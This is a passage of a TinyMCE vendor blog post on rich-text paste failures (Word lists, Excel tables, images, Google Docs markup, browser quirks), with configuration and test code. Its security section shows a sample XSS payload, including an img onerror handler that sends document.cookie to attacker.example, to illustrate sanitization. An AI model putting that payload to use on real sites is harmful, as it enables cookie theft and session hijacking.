TinyMCE plugins and set <code>powerpaste_word_import</code> to <code>clean</code> to keep headings, lists, and tables while dropping inline styles, so content picks up your stylesheet. Set it to <code>merge</code> to keep the original formatting minus invalid and proprietary markup, or to <code>prompt</code> to let each user choose. If you keep some formatting, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/#valid_styles\" target=\"_blank\" rel=\"noopener\"><code>valid_styles</code></a> limits which CSS properties survive, for example text alignment but not font families or colors, and the Accessibility Checker flags text that fails contrast ratios before it's published.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/CcOzWyxUsvgXMqLOUcBT2/894a7d7301650ef32f6ee337e3ab9929/-wed-21-rich-text-editor-paste-problems-04-powerpaste-word-list-remove-formatting.gif\" alt=\"\" width=\"1200\" height=\"1257\" /></p>\n<h2>3. Tables lose their borders, widths, and merged cells</h2>\n<p>Excel keeps cell styling in a <code>&lt;style&gt;</code> block and points to it with class names. Editors rarely keep a pasted <code>&lt;style&gt;</code> block, because its rules are global and can restyle your whole page, so the borders, alignment, and number formats disappear with it. Cleanup code that rebuilds tables cell by cell often breaks merged cells too. It's the same pattern as Word lists: the meaning lives in a style block, and the cells only point at it.</p>\n<p>A table with a merged header and a merged row label looks like this on the clipboard (simplified):</p>\n<pre class=\"language-markup\">&lt;style&gt;\n.xl65 {mso-number-format:\"\\0022$\\0022\\#\\,\\#\\#0\\.00\"; font-weight:700;}\n.xl66 {text-align:center; border:.5pt solid windowtext;}\n&lt;/style&gt;\n&lt;col width=64 span=4 style='width:48pt'&gt;\n&lt;tr height=20 style='height:15.0pt'&gt;\n  &lt;td colspan=2 class=xl66 width=128&gt;Q3 revenue&lt;/td&gt;\n  &lt;td rowspan=2 class=xl66 width=64&gt;Region&lt;/td&gt;\n  &lt;td class=xl65 width=64&gt;$1,200.00&lt;/td&gt;\n&lt;/tr&gt;</pre>\n<p>Lose the style block and you get a borderless grid with no alignment. Lose <code>colspan</code> or <code>rowspan</code> and every cell after the merge shifts, so values land under the wrong headers. Pasted spreadsheet tables also tend to arrive with every cell as a <code>&lt;td&gt;</code>, so screen readers get no header row to announce.</p>\n<p>Production handling resolves class-based styles into inline styles (or drops them on purpose), keeps <code>colspan</code> and <code>rowspan</code> intact, and normalizes widths to something your layout can live with. In our test, PowerPaste read that style block: \"Keep formatting\" preserved <code>colspan=\"2\"</code> and <code>rowspan=\"2\"</code> and turned the <code>.xl66</code> rule into inline borders and centering. \"Remove formatting\" kept the merged cells and widths and dropped the styling. For widths, TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/table-options/#table_sizing_mode\" target=\"_blank\" rel=\"noopener\"><code>table_sizing_mode</code></a> option enforces percentage-based (<code>relative</code>) or width-free (<code>responsive</code>) sizing for new and modified tables, and the Accessibility Checker flags tables without header cells. For a walkthrough of tables, formulas, and charts, see how to <a href=\"https://www.tiny.cloud/blog/copy-and-paste-from-word-excel/\" target=\"_blank\" rel=\"noopener\">paste content from Word or Excel</a>.</p>\n<h2>4. Images point to files your server can't reach</h2>\n<p>Word on Windows doesn't always put image data in its clipboard HTML. It can reference temporary files on the user's disk instead, and <a href=\"https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/dn659400%28v=vs.85%29\" target=\"_blank\" rel=\"nofollow noopener\">a web page can't read those</a>. Pictures arrive broken or missing unless the editor takes the image data from the clipboard and sends it through your upload process.</p>\n<pre class=\"language-markup\">&lt;img width=320 height=180 alt=\"Q3 revenue chart\"\n  src=\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\"&gt;</pre>\n<p>When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_emf_processor\" target=\"_blank\" rel=\"noopener\">has to be converted to PNG</a> before it's usable on the web. In <a href=\"https://support.squidex.io/t/minor-issue-copying-from-ms-word-spawns-png-file/1712\" target=\"_blank\" rel=\"nofollow noopener\">one reported case</a>, pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text.</p>\n<p>Large pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's <a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Main_thread\" target=\"_blank\" rel=\"nofollow noopener\">main thread</a> before the editor responds again, and PowerPaste's documentation notes that <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/#usage\" target=\"_blank\" rel=\"noopener\">images larger than about 8.5MB may fail to import</a>. Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description.</p>\n<p>With PowerPaste, images embedded in Word and Excel content arrive as Base64 data (<a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_allow_local_images\" target=\"_blank\" rel=\"noopener\"><code>powerpaste_allow_local_images</code></a> is on by default), and TinyMCE can <a href=\"https://www.tiny.cloud/docs/tinymce/latest/upload-images/\" target=\"_blank\" rel=\"noopener\">upload them automatically</a> through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, <code>powerpaste_keep_unsupported_src</code> keeps the original path in a <code>data-image-src</code> attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/1MJeWBcN9hdF1JqkmP4EPK/17a84fc5300e0619b2ed205448940dd7/-thu-08-rich-text-editor-paste-problems-02-source-code-uploaded-image.webp\" alt=\"\" width=\"1856\" height=\"480\" /></p>\n<h2>5. Every source speaks its own HTML dialect</h2>\n<p>Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is <a href=\"https://community.obsidian.md/plugins/google-docs-paste\" target=\"_blank\" rel=\"nofollow noopener\">Google Docs wrapping the entire selection in a bold tag</a>:</p>\n<pre class=\"language-markup\">&lt;meta charset=\"utf-8\"&gt;\n&lt;b style=\"font-weight:normal;\" id=\"docs-internal-guid-4f1c2a9e-7fff-3b5d-91a2-6c0e8d2f4b17\"&gt;\n  &lt;p dir=\"ltr\" style=\"line-height:1.38;margin-top:0pt;margin-bottom:0pt;\"&gt;\n    &lt;span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:700;white-space:pre-wrap;\"&gt;Refund policy:&lt;/span&gt;\n    &lt;span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:400;white-space:pre-wrap;\"&gt; requests are reviewed within 5 business days.&lt;/span&gt;\n  &lt;/p&gt;\n&lt;/b&gt;</pre>\n<p>An editor that keeps the outer <code>&lt;b&gt;</code> makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with <code>font-weight:700</code> on a span rather than a <code>&lt;strong&gt;</code> element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to <a href=\"https://www.tiny.cloud/blog/paste-to-markdown/\" target=\"_blank\" rel=\"noopener\">paste Markdown into TinyMCE</a> as structured content.</p>\n<p>Outlook belongs on the list too. Outlook has used <a href=\"https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2007/aa338201%28v=office.12%29\" target=\"_blank\" rel=\"nofollow noopener\">Word's HTML engine since Outlook 2007</a>, so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included.</p>\n<p>Fixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix.</p>\n<p>Production handling detects the source first (for example, Word's <code>&lt;meta name=ProgId content=Word.Document&gt;</code> or the <code>docs-internal-guid</code> id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/\" target=\"_blank\" rel=\"noopener\"><code>powerpaste_word_import</code>, <code>powerpaste_googledocs_import</code>, and <code>powerpaste_html_import</code></a>, so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as <code>&lt;p&gt;&lt;strong&gt;Refund policy:&lt;/strong&gt; requests are reviewed within 5 business days.&lt;/p&gt;</code>. For the full Docs workflow, including tables and images, read <a href=\"https://www.tiny.cloud/blog/google-docs-powerpaste-rich-text-editor/\" target=\"_blank\" rel=\"noopener\">Google Docs to HTML</a>.</p>\n<p>Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_merge_formats\" target=\"_blank\" rel=\"noopener\"><code>paste_merge_formats</code></a>, on by default, collapses redundant formatting such as <code>&lt;b&gt;</code> inside <code>&lt;b&gt;</code>.</p>\n<h2>6. Pasted HTML is untrusted input</h2>\n<p>The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server.</p>\n<pre class=\"language-markup\">&lt;p&gt;Quarterly update &lt;img src=\"x\" onerror=\"fetch('https://attacker.example/?c='+document.cookie)\"&gt;\n&lt;a href=\"javascript:alert(document.domain)\"&gt;details&lt;/a&gt;&lt;/p&gt;\n&lt;script&gt;alert(document.cookie)&lt;/script&gt;\n&lt;svg onload=\"alert(1)\"&gt;&lt;circle r=\"5\"&gt;&lt;/circle&gt;&lt;/svg&gt;\n&lt;iframe src=\"https://attacker.example/login\"&gt;&lt;/iframe&gt;\n&lt;p onclick=\"alert(1)\"&gt;Click me&lt;/p&gt;</pre>\n<p>This isn't theoretical. In 2020, a security researcher <a href=\"https://web.archive.org/web/20220124170730/https://research.securitum.com/the-curious-case-of-copy-paste/\" target=\"_blank\" rel=\"nofollow noopener\">published research on copy-and-paste attacks</a> that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does.</p>\n<p>Whichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the <a href=\"https://www.tiny.cloud/blog/input-sanitization/\" target=\"_blank\" rel=\"noopener\">input sanitization</a> on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed.</p>\n<p>In TinyMCE, incoming HTML is <a href=\"https://www.tiny.cloud/docs/tinymce/latest/security/\" target=\"_blank\" rel=\"noopener\">parsed with the browser's <code>DOMParser</code> and sanitized with DOMPurify</a>, according to its security documentation. The <code>xss_sanitization</code> option is on by default, SVG isn't supported, and <code>sandbox_iframes</code> adds an empty <code>sandbox</code> attribute to embedded frames. In our tests with an equivalent payload, the <code>onerror</code> and <code>onclick</code> handlers, the <code>javascript:</code> URL, the <code>&lt;script&gt;</code> tag, and the SVG were removed, the iframe was kept with <code>sandbox=\"\"</code>, and none of the payloads ran, both with PowerPaste and with TinyMCE's built-in paste. Tiny still recommends filtering content on the server, because attackers can bypass any client-side check, and its security guide lists the <a href=\"https://www.tiny.cloud/docs/tinymce/latest/security/#configuring-content-security-policy-csp-for-tinymce\" target=\"_blank\" rel=\"noopener\">CSP directives TinyMCE needs</a>.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/2itwAOtVHVONfKBI0hWhmC/30d31400090faa6eef0af59cc03b7740/-thu-08-rich-text-editor-paste-problems-03-source-code-unsafe-sample.webp\" alt=\"\" width=\"1900\" height=\"1040\" /></p>\n<h2>7. The same paste behaves differently across browsers and platforms</h2>\n<p>What reaches your code depends on the browser, the clipboard API, the operating system, and even how the document was opened. A fix verified on one machine can fail on the next.</p>\n<p>The API alone changes the payload. In the synchronous <code>paste</code> event, <code>clipboardData.getData('text/html')</code> <a href=\"https://lists.w3.org/Archives/Public/public-webapps-github/2023Oct/0534.html\" target=\"_blank\" rel=\"nofollow noopener\">returns unsanitized HTML</a>, as the source app wrote it. <a href=\"https://developer.chrome.com/docs/web-platform/unsanitized-html-async-clipboard\" target=\"_blank\" rel=\"nofollow noopener\">Chrome's asynchronous <code>navigator.clipboard.read()</code></a> sanitizes by default: it strips <code>&lt;script&gt;</code>, <code>&lt;meta&gt;</code>, <code>&lt;head&gt;</code>, and <code>&lt;style&gt;</code> elements and inlines CSS, unless your code asks for unsanitized HTML. The same copy gives two different payloads depending on which path your editor uses. Our earlier post on the <a href=\"https://www.tiny.cloud/blog/new-async-clipboard-api/\" target=\"_blank\" rel=\"noopener\">Async Clipboard API</a> covers how the newer API differs from event-based paste.</p>\n<p>Platform and app quirks add more cases:</p>\n<ul>\n<li><strong>Word Protected View.</strong> On Windows, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">copying from Word 2013 or later in Protected View</a> gives you plain, unformatted text, because of how Protected View interacts with the clipboard.</li>\n<li><strong>Drag and drop.</strong> <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_block_drop\" target=\"_blank\" rel=\"noopener\">Browsers don't let editors filter content that's dragged and dropped</a> in the way they filter paste, so TinyMCE offers <code>paste_block_drop</code> to switch drag and drop off when unfiltered content is a risk.</li>\n<li><strong>Images</strong>. Browsers don't hand over pasted images the same way. Since a 2016 WebKit change, Safari turns a pasted image into a blob URL on its own, while other browsers pass the editor the raw image data to convert. A handler that always converts, or never does, breaks images in one of them; PowerPaste checks which case it's in.</li>\n<li><strong>Whitespace.</strong> Spacing doesn't survive reliably either. <a href=\"https://community.nintex.com/archive-25/ootb-rich-text-editor-formatting-issues-4626\" target=\"_blank\" rel=\"nofollow noopener\">Users report words running together</a> after pasting heavily formatted Word content, empty paragraphs arrive as <code>&amp;nbsp;</code>, and tabs need converting in plain-text pastes (TinyMCE turns each tab into four spaces by default, set with <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_tab_spaces\" target=\"_blank\" rel=\"noopener\"><code>paste_tab_spaces</code></a>).</li>\n</ul>\n<p>No product team can keep up with this on the side. TinyMCE is built to <a href=\"https://www.tiny.cloud/docs/tinymce/latest/support/#supported-web-browsers\" target=\"_blank\" rel=\"noopener\">handle browser inconsistencies</a> across current Chrome, Edge, Firefox, and Safari, and documents the paste exceptions it can't control, such as Protected View and Excel for the web, so you don't learn about them from support tickets.</p>\n<h2>What to look for in a rich text editor's paste handling</h2>\n<p>If you're choosing an editor rather than building one, these are the requirements the seven failures add up to. Ask every vendor on your shortlist how their editor meets each one, then check the answers with a test matrix like the one below.</p>\n<div align=\"left\">\n<table><colgroup><col /><col /><col /></colgroup>\n<thead>\n<tr>\n<th scope=\"col\">\n<p><strong>Requirement</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>Why it matters</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>How TinyMCE handles it</strong></p>\n</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\n<p>Rebuilds lists and keeps real headings</p>\n</td>\n<td>\n<p>Fake lists and headings break numbering and screen readers</p>\n</td>\n<td>\n<p>PowerPaste rebuilds Word lists as nested <code>&lt;ul&gt;</code>/<code>&lt;ol&gt;</code> and keeps headings; Accessibility Checker flags fake lists, fake headings, and skipped levels</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Removes Office markup but keeps structure</p>\n</td>\n<td>\n<p>Office styles break emails, PDFs, and your design system</p>\n</td>\n<td>\n<p><code>clean</code> mode keeps headings, lists, and tables and drops inline styles; <code>merge</code> keeps formatting minus invalid and proprietary markup; <code>valid_styles</code> limits which CSS survives</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Keeps table structure, including merged cells</p>\n</td>\n<td>\n<p>Lost <code>colspan</code> or <code>rowspan</code> puts values under the wrong headers</p>\n</td>\n<td>\n<p>PowerPaste keeps table structure and resolves Excel's class-based styles; <code>table_sizing_mode</code> controls widths; Accessibility Checker flags missing header cells</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Brings pasted images into your storage</p>\n</td>\n<td>\n<p>Local file paths break, and Base64 blobs bloat your database</p>\n</td>\n<td>\n<p>Pasted images upload through <code>images_upload_url</code> or <code>images_upload_handler</code>; unsupported image paths can be kept for post-processing</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Treats each source differently</p>\n</td>\n<td>\n<p>Word, Google Docs, Outlook, and web HTML each need their own rules</p>\n</td>\n<td>\n<p>Separate <code>powerpaste_word_import</code>, <code>powerpaste_googledocs_import</code>, and <code>powerpaste_html_import</code> settings, plus <code>paste_preprocess</code> and <code>paste_postprocess</code> hooks for your own rules</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Sanitizes pasted HTML by default</p>\n</td>\n<td>\n<p>The clipboard is an XSS vector</p>\n</td>\n<td>\n<p><code>DOMParser</code> plus DOMPurify, with <code>xss_sanitization</code> on by default and sandboxed iframes; documented CSP directives; Tiny recommends server-side filtering as a second layer</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Lets you vary paste rules by user or field</p>\n</td>\n<td>\n<p>Authors, admins, and short fields need different behavior</p>\n</td>\n<td>\n<p><code>powerpaste_word_import</code> <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">accepts a function</a>, so the mode can depend on role; <code>paste_as_text</code> forces plain text per instance</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Behaves consistently across browsers</p>\n</td>\n<td>\n<p>Platform quirks otherwise surface as support tickets</p>\n</td>\n<td>\n<p>Supports current Chrome, Edge, Firefox, and Safari, and documents exceptions such as Protected View and Excel for the web</p>\n</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Meeting those requirements in TinyMCE takes a few lines of configuration:</p>\n<pre class=\"language-javascript\">tinymce.init({\n  selector: '#editor',\n  plugins: 'powerpaste lists table image',\n  powerpaste_word_import: 'clean',          // keep headings, lists, tables; drop Word styling\n  powerpaste_googledocs_import: 'clean',\n  powerpaste_html_import: 'clean',\n  images_upload_url: '/api/editor-images',  // pasted images end up in your storage\n  table_sizing_mode: 'relative'\n  // xss_sanitization is on by default\n});</pre>\n<p>The parsing, list rebuilding, and per-source rules live in the editor, and keeping them current as Word and Google Docs change is Tiny's job rather than your team's.</p>\n<h2>How to test any editor's paste handling before you commit</h2>\n<p>Test pasting across a range of real-world scenarios. Run it against every editor on your shortlist during the proof of concept, starting with the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>, then keep it as a regression suite after you choose: replay saved clipboard payloads automatically in CI and do a real-copy pass from the actual apps before each release.</p>\n<div align=\"left\">\n<table><colgroup><col /><col /><col /></colgroup>\n<thead>\n<tr>\n<th scope=\"col\">\n<p><strong>Source</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>What to copy</strong></p>\n</th>\n<th scope=\"col\">\n<p><strong>What to check</strong></p>\n</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\n<p>Word (Windows and Mac)</p>\n</td>\n<td>\n<p>Nested bulleted and numbered lists, styled and hand-formatted headings, a bold run, an image</p>\n</td>\n<td>\n<p>Real nested <code>&lt;ul&gt;</code>/<code>&lt;ol&gt;</code>, one <code>&lt;h1&gt;</code> at most, no bullet glyphs, image uploaded rather than inlined</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Word with review history</p>\n</td>\n<td>\n<p>A paragraph with tracked changes and a comment</p>\n</td>\n<td>\n<p>No reviewer names, comments, or deleted text in the result</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Long Word document</p>\n</td>\n<td>\n<p>50 pages with screenshots</p>\n</td>\n<td>\n<p>Editor stays responsive; images uploaded; paste time recorded</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Images across browsers</p>\n</td>\n<td>\n<p>The same screenshot, pasted in Safari and in Chrome</p>\n</td>\n<td>\n<p>Same stored result in both: an uploaded image, no blob or data URL left behind</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Excel</p>\n</td>\n<td>\n<p>Table with merged header cells and a currency column</p>\n</td>\n<td>\n<p><code>colspan</code>/<code>rowspan</code> kept, styling matches your policy</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Google Docs</p>\n</td>\n<td>\n<p>Paragraph with partial bold, a link, a small table</p>\n</td>\n<td>\n<p>No <code>&lt;b&gt;</code> wrapper, bold as <code>&lt;strong&gt;</code>, link intact</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Outlook</p>\n</td>\n<td>\n<p>Customer email with a signature and colored text</p>\n</td>\n<td>\n<p>No hard-coded colors or fonts unless your policy allows them</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Web page</p>\n</td>\n<td>\n<p>Article with site styles and an embedded video</p>\n</td>\n<td>\n<p>No foreign classes, iframe sandboxed</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>AI chat tool</p>\n</td>\n<td>\n<p>Answer with a list and a code block</p>\n</td>\n<td>\n<p>Markdown and HTML both convert to the same structure</p>\n</td>\n</tr>\n<tr>\n<td>\n<p>Hostile page</p>\n</td>\n<td>\n<p>Script, event-handler, and <code>javascript:</code> URL samples</p>\n</td>\n<td>\n<p>No handlers, scripts, or <code>javascript:</code> URLs survive</p>\n</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Run the matrix in Chrome, Edge, Firefox, and Safari, on both Windows and macOS. For automated runs, save each source's <code>text/html</code> as a fixture and replay it through the editor's real paste path:</p>\n<pre class=\"language-javascript\">// Replay a saved clipboard fixture through the editor's paste handling\nasync function replayPaste(editor, html, text = '') {\n  const data = new DataTransfer();\n  data.setData('text/html', html);\n  data.setData('text/plain', text);\n  editor.getBody().dispatchEvent(\n    new ClipboardEvent('paste', { clipboardData: data, bubbles: true, cancelable: true })\n  );\n  await new Promise((resolve) =&gt; setTimeout(resolve, 500));\n  return editor.getContent();\n}</pre>\n<p>Set your paste mode explicitly in the test configuration so no formatting prompt blocks the run, and compare the returned HTML against an approved snapshot. Synthetic events don't reproduce operating-system clipboard quirks, so keep the manual pass.</p>\n<p>Two more tests can help catch issues you might otherwise miss. Run a roundtrip: paste, save, reload, and compare the structure (lists, headings, merged cells) rather than raw HTML strings, because some damage only appears after storage. Then measure paste in production: log the HTML size before and after cleaning, and tag paste-related support tickets, so you can show whether paste quality improves release by release.</p>\n<h2>What paste handling costs when you own it</h2>\n<p>Paste handling is never finished. Word, Excel, and Google Docs change their output, browsers change their clipboard APIs, and every regression reaches you as a support ticket. The real decision is who maintains the pipeline.</p>\n<p>It's tempting to hand the job to an AI coding assistant. A generated paste handler will strip some tags and pass a demo, but it won't know that Word encodes list levels in <code>mso-list</code> styles, that Google Docs wraps everything in a bold tag, or that Protected View hands you plain text. Edge cases like these are where rich text editing gets expensive, and a general-purpose AI tool doesn't cover them.</p>\n<p><a href=\"https://www.tiny.cloud/customer-stories/hype-innovation-case-study/\" target=\"_blank\" rel=\"noopener\">HYPE Innovation</a>, which builds innovation management software, learned this the hard way. Customers kept running into formatting problems when they pasted text from Microsoft Word into the rich text editor in HYPE's product, and fixing them consumed developer and support time. Senior software developer Simon Reinhardt summed up the turning point: \"We reached a point where we received another support request and thought, what else can we do? Should we continue investing in this?\" After moving to TinyMCE with PowerPaste, HYPE reports 50% fewer text-editing support tickets and estimates it saves 20 developer days a year.</p>\n<p>Owning paste means owning every new Word build and every Google Docs change, indefinitely. TinyMCE has spent <a href=\"https://www.tiny.cloud/enterprise-rich-text-editor/\" target=\"_blank\" rel=\"noopener\">roughly two decades</a> on these edge cases, and <a href=\"https://www.tiny.cloud/legal/tiny-self-hosted-enterprise-agreement/\" target=\"_blank\" rel=\"noopener\">Tiny's self-hosted Enterprise agreement</a> commits to a four-hour response, within service hours, for issues that make effective use of the editor impossible. If you'd rather put numbers on the build option, see our <a href=\"https://www.tiny.cloud/blog/copy-paste-function-cost-estimate/\" target=\"_blank\" rel=\"noopener\">clean copy-paste function cost estimate</a>, which breaks down the engineering effort.</p>\n<h2>Final thoughts</h2>\n<p>Paste failures are predictable. They fall into the seven patterns above and show up in the first week of real use. Each one is solvable; the hard part is that all seven need solving at once, and they keep changing.</p>\n<p>Before your next release, try this: copy one nested list, one table with merged cells, and one image from Word, Excel, and Google Docs into your editor, then open the HTML source. Count the problems. Then paste the same content into the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a> and compare the source view. The difference tells you whether paste is a feature you want to own.</p>\n<p class=\"css-ngpmkc\" style=\"color: white; display: block; text-align: center; font-size: 1.3rem; height: auto; text-transform: initial;\"><a style=\"color: white;\" href=\"https://www.tiny.cloud/get-tiny/\" target=\"_blank\" rel=\"noopener\">Get TinyMCE</a></p>\n<h2>FAQ</h2>\n<h3>What does TinyMCE do on paste without PowerPaste?</h3>\n<p>TinyMCE has <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/\" target=\"_blank\" rel=\"noopener\">built-in paste handling</a> for general HTML. It includes plain-text paste (<code>paste_as_text</code>), smart paste that turns pasted URLs into links or images, control over pasted data-URI images (<code>paste_data_images</code>), and <code>paste_preprocess</code> and <code>paste_postprocess</code> hooks for your own filtering. Built-in paste also sanitizes: in our test it stripped event handlers, <code>javascript:</code> links, and scripts, and <code>xss_sanitization</code> is on by default. PowerPaste adds the source-specific cleanup for Microsoft Word, Microsoft Excel, and Google Docs, plus the choice to clean or merge styles.</p>\n<h3>Which TinyMCE plans include PowerPaste?</h3>\n<p>PowerPaste is a premium plugin, so it isn't part of the free core editor. It's included in the Professional and Enterprise plans, and every plan comes with a 14-day trial of all advanced features, so you can run the test matrix against your own documents before you commit. See <a href=\"https://www.tiny.cloud/pricing/\" target=\"_blank\" rel=\"noopener\">TinyMCE pricing</a> for current plans.</p>\n<h3>Can we force plain-text paste for some fields?</h3>\n<p>Yes. Set <code>paste_as_text: true</code> on the editor instances where formatting shouldn't survive, such as titles or short descriptions, and users can still toggle the Paste as text item in the Edit menu. The trade-off is that lists, links, and tables arrive as plain lines of text, so keep rich paste for fields where structure matters.</p>\n<h3>Does PowerPaste handle Excel for the web and Google Sheets?</h3>\n<p>Not fully. Because of <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/\" target=\"_blank\" rel=\"noopener\">limitations in Excel for the web</a> (part of Office Live), PowerPaste doesn't support pasting from it, and users get a plain-text version of the content. Copying from Google Sheets <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-support/\" target=\"_blank\" rel=\"noopener\">may work but isn't officially supported</a>. The documented test targets are Word and Excel versions under Microsoft mainstream support or provided by Office 365, and the latest version of Google Docs.</p>\n<h3>When should we replace our editor instead of patching paste?</h3>\n<p>When paste fixes keep coming back. The signs are familiar: the same Word or Google Docs bugs return after source-app updates, your team maintains separate cleanup rules for each source, security reviews keep flagging the paste path, or the editor stalls on long documents. At that point paste is an ongoing maintenance cost rather than a one-off fix, and moving to an editor with maintained paste handling is often the cheaper path. HYPE Innovation made that switch and halved its text-editing support tickets.</p>","htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"a","properties":{"href":"https://stackoverflow.com/questions/2176861","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"One of the most-viewed Stack Overflow questions about handling paste"}]},{"type":"text","value":" was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"aside","properties":{"className":["tny-kt"],"ariaLabelledBy":["tny-kt-title"]},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{"id":"tny-kt-title","className":["tny-kt__title"]},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Key takeaways"}]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"ul","properties":{"className":["tny-kt__list"],"role":"list"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Paste is the one input your editor doesn't control."}]},{"type":"text","value":" Every rich text editor paste brings in HTML written by Word, Excel, Google Docs, Outlook, web pages, or AI tools, and each writes it differently."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Seven failures show up in production:"}]},{"type":"text","value":" lists and headings, Office markup, tables, images, source dialects, unsafe markup, and browser and platform differences."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"The damage lands downstream,"}]},{"type":"text","value":" in emails, PDFs, accessibility, and support tickets, long after the paste."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Production paste is a pipeline:"}]},{"type":"text","value":" detect the source, clean it, map it to your content model, sanitize it, upload images, and check again on the server."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"TinyMCE runs that pipeline in the editor."}]},{"type":"text","value":" PowerPaste cleans and rebuilds Word, Excel, Google Docs, and HTML content as standard HTML, 